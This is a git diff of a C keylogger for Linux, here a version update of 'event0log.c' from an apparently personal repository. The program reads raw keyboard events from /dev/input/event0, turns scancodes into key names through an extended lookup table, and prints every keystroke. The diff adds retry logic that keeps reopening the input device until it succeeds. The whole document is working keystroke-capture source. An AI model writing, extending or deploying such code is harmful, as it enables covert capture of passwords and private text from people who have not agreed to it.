X-Git-Url: http://git.harvie.cz/?a=blobdiff_plain;f=c%2Fkeylogger%2Fklog.c;h=f86cc5f6fab1d04252426ca4f11e88e89f3e45fc;hb=f6132c99e1781f8ca2df08ddd7271bf5895dff0d;hp=d10afcb37e4e3f6bd40f488a31cc14e0c177c6d2;hpb=8f3f8f1eeef9421796a8192bfedec0738a41a9a3;p=mirrors%2FPrograms.git diff --git a/c/keylogger/klog.c b/c/keylogger/klog.c index d10afcb..f86cc5f 100755 --- a/c/keylogger/klog.c +++ b/c/keylogger/klog.c @@ -1,4 +1,4 @@ -/* event0log.c v0.7 +/* event0log.c v0.9 * <~~Harvie 2oo8-2o21 * THX2: Dayvee (Idea), joe@aol.com (Reversing), * -=Punka][Tux=- (BugReport), @@ -32,6 +32,7 @@ #include #include #include +#include #define DEFAULTINPUT "/dev/input/event0" typedef struct __attribute__((__packed__)) input_event_s { @@ -41,20 +42,26 @@ typedef struct __attribute__((__packed__)) input_event_s { unsigned int value; } input_event_t; -#define MAXSTROKE 127 //Set higest keystroke code in DB (lower will not be converted) +time_t timestamp = 0; + +#define MAXSTROKE 169 //Set higest keystroke code in DB (lower will not be converted) char *strokes[] = { //KeyStroke DB for english QUERTZ keyboard: - "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", - "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", - "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", - "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", - "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", - "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", - "[./DEL-NUM]", "<84>", "<85>", "[MACRO-\\|]", "[F11]", "[F12]", - "<89>", "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "[ENTER-NUM]\n", - "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<101>", + "<0>", "[ESC]", "1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "=", "[BKSP]", //14 + "[TAB]", "Q", "W", "E", "R", "T", "Y", "U", "I", "O", "P", "[", "]", "[ENTER]\n", //28 + "[CTRL-L]", "A", "S", "D", "F", "G", "H", "J", "K", "L", ";", "'", "`", "[SHIFT-L]", "\\", //44 + "Z", "X", "C", "V", "B", "N", "M", ",", ".", "/", "[SHIFT-R]", "*", "[ALT-L]", " ", //57 + "[CAPSL]","[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", //69 + "[NUML]", "[SCRL]", "7", "8", "9", "-", "4", "5", "6", "+", "1", "2", "3", "0", //83 + "[./DEL-NUM]", "<85>", "<86>", "[MACRO-\\|]", "[F11]", "[F12]", + "<90>","<91>", "<92>", "<93>", "<94>", "<95>", "<96>", "[ENTER-NUM]\n", + "[CTRL-R]", "/", "[PRT-SCR]", "[ALT-R(GR)]", "<102>", "[HOME]", "[UP]", "[PG-UP]", "[LEFT]", "[RIGHT]", "[END]", "[DOWN]", "[PG-DN]", "[INS]", "[DEL]", - "<112>", "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", - "<120>","<121>", "<122>", "<123>", "<124>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]" + "<113>", "<114>", "<115>", "<116>", "<117>", "<118>", "[PAUSE]", + "<120>", "<121>", "<122>", "<123>", "<124>", "<125>", "[WinbL0W$-L]", "[WIN-R]", "[CONTEXT-MENU]", "<128>", "<129>", + "<130>", "<131>", "<132>", "<133>", "<134>", "<135>", "<136>", "<137>", "<138>", "<139>", + "<140>", "<141>", "<142>", "[Fn]", "<144>", "<145>", "<146>", "<147>", "<148>", "<149>", + "<150>", "<151>", "<152>", "<153>", "<154>", "<155>", "<156>", "<157>", "[BACK]", "[FORW]", + "<160>", "<161>", "<162>", "[NEXTSONG]", "[PLAYPAUSE]", "[PREVSONG]", "[STOPCD]", "<167>", "<168>", "<169>" /* Hint: [CAPSL][ESC] = CapsLock On [CAPSL] = CapsLock Off @@ -82,33 +89,37 @@ int main(int argc, char *argv[]) { signal(SIGSEGV, &sigint_handler); - FILE *ftest; - printf("Reading data from: "); + printf("Scancode DB size: %d B (0-%d)", sizeof(strokes), MAXSTROKE); + + char * filepath = NULL; if(argc > 1 && argv[1][0] != '-') { - ftest = freopen(argv[1], "rb", stdin); - printf("%s\n", argv[1]); + filepath = &argv[1][0]; } if(argc > 1 && argv[1][0] == '-') { - ftest = freopen(DEFAULTINPUT, "rb", stdin); - printf("%s\n", DEFAULTINPUT); - } - if(argc == 1) { - printf("STDIN\n", argv[1]); + filepath = DEFAULTINPUT; } - if(ftest == NULL) { - printf("Failed to open file!\n\n"); - return(1); + + while(1) { + + while(1) { + if(filepath != NULL && freopen(filepath, "rb", stdin) == NULL) { + printf("\n%lu\tFailed to open file %s", time(NULL), filepath); + sleep(1); + continue; + //return(1); + } else { + if(filepath != NULL) printf("\n%lu\tOpened file %s\n", time(NULL), filepath); + break; + } } setbuf(stdout, NULL); - printf("Keystroke DB size: %d B (0-%d)\n\n", sizeof(strokes), MAXSTROKE); input_event_t input_event; - while(1) { - read(0, &input_event, sizeof(input_event_t)); + while(read(0, &input_event, sizeof(input_event_t)) != -1) { if(input_event.type != 1 || input_event.value != 1) continue; - //printf("\nTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.type, input_event.code, input_event.value); + //printf("\n%lu\tTYPE:%d\tCODE:%d\tVAL:%d\t", input_event.time.tv_sec, input_event.type, input_event.code, input_event.value); if(input_event.code <= MAXSTROKE) { printf("%s", strokes[input_event.code]); } else { @@ -116,4 +127,6 @@ int main(int argc, char *argv[]) { } } + } + }